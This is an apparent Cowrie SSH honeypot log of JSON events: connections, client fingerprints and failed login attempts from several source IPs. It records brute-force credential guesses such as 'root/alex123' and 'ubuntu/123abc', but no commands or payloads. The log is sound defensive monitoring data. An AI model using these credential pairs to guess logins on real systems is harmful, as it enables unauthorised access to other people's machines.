{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:39.912954Z","src_ip":"141.11.88.14","session":"ab2154087566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40016,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a4ea597e28d","protocol":"ssh","message":"New connection: 141.11.88.14:40016 (10.17.0.5:22) [session: 9a4ea597e28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:44.843968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:44.983960Z","src_ip":"141.11.88.14","session":"9a4ea597e28d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:44.987525Z","src_ip":"141.11.88.14","session":"9a4ea597e28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.512221813201904,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:45.817451Z","src_ip":"172.81.62.90","session":"25aace311436","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex123","message":"login attempt [root/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:45.921886Z","src_ip":"141.11.88.14","session":"9a4ea597e28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:47.042916Z","src_ip":"141.11.88.14","session":"9a4ea597e28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36962,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed6ba7acc222","protocol":"ssh","message":"New connection: 141.11.88.14:36962 (10.17.0.5:22) [session: ed6ba7acc222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:52.872951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:53.231293Z","src_ip":"141.11.88.14","session":"ed6ba7acc222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:53.234040Z","src_ip":"141.11.88.14","session":"ed6ba7acc222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hh123456","message":"login attempt [root/Hh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:54.300405Z","src_ip":"141.11.88.14","session":"ed6ba7acc222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:55.583007Z","src_ip":"141.11.88.14","session":"ed6ba7acc222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34860,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c6308213f81","protocol":"ssh","message":"New connection: 103.82.132.16:34860 (10.17.0.5:22) [session: 3c6308213f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:58.546477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:58.551012Z","src_ip":"103.82.132.16","session":"3c6308213f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:58.805671Z","src_ip":"103.82.132.16","session":"3c6308213f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21101984","message":"login attempt [root/21101984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:38:59.567846Z","src_ip":"103.82.132.16","session":"3c6308213f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:00.822857Z","src_ip":"103.82.132.16","session":"3c6308213f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":58532,"dst_ip":"159.203.135.109","dst_port":22,"session":"942dae2d7580","protocol":"ssh","message":"New connection: 211.253.37.225:58532 (159.203.135.109:22) [session: 942dae2d7580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:01.652940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:01.717472Z","src_ip":"211.253.37.225","session":"942dae2d7580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:01.953791Z","src_ip":"211.253.37.225","session":"942dae2d7580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59208,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcfcc392313a","protocol":"ssh","message":"New connection: 141.11.88.14:59208 (10.17.0.5:22) [session: bcfcc392313a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:02.591972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:02.710336Z","src_ip":"141.11.88.14","session":"bcfcc392313a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:02.715506Z","src_ip":"141.11.88.14","session":"bcfcc392313a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sat","password":"123456","message":"login attempt [sat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:02.947945Z","src_ip":"211.253.37.225","session":"942dae2d7580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:04.209010Z","src_ip":"211.253.37.225","session":"942dae2d7580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8080","message":"login attempt [root/8080] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:05.004093Z","src_ip":"141.11.88.14","session":"bcfcc392313a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:06.312504Z","src_ip":"141.11.88.14","session":"bcfcc392313a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24172,"dst_ip":"10.17.0.5","dst_port":22,"session":"87208c331f90","protocol":"ssh","message":"New connection: 141.11.88.14:24172 (10.17.0.5:22) [session: 87208c331f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:10.933946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:11.033487Z","src_ip":"141.11.88.14","session":"87208c331f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:11.036911Z","src_ip":"141.11.88.14","session":"87208c331f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123abc","message":"login attempt [ubuntu/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:12.339451Z","src_ip":"141.11.88.14","session":"87208c331f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:14.031604Z","src_ip":"141.11.88.14","session":"87208c331f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50594,"dst_ip":"10.17.0.5","dst_port":22,"session":"02276f6d3635","protocol":"ssh","message":"New connection: 141.11.88.14:50594 (10.17.0.5:22) [session: 02276f6d3635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:19.374928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:19.537685Z","src_ip":"141.11.88.14","session":"02276f6d3635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:19.541768Z","src_ip":"141.11.88.14","session":"02276f6d3635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":51584,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aea1c27ff3e","protocol":"ssh","message":"New connection: 103.143.231.24:51584 (10.17.0.5:22) [session: 3aea1c27ff3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:20.110154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:20.116052Z","src_ip":"103.143.231.24","session":"3aea1c27ff3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:20.185670Z","src_ip":"103.143.231.24","session":"3aea1c27ff3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:20.358414Z","src_ip":"141.11.88.14","session":"02276f6d3635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@12345678","message":"login attempt [root/Aa@12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:20.499935Z","src_ip":"103.143.231.24","session":"3aea1c27ff3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:21.573191Z","src_ip":"103.143.231.24","session":"3aea1c27ff3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:21.617667Z","src_ip":"141.11.88.14","session":"02276f6d3635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":33008,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dc9e1fc8d6d","protocol":"ssh","message":"New connection: 160.191.244.158:33008 (159.203.135.109:22) [session: 8dc9e1fc8d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:21.709649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:21.715006Z","src_ip":"160.191.244.158","session":"8dc9e1fc8d6d","protocol":"ssh"}
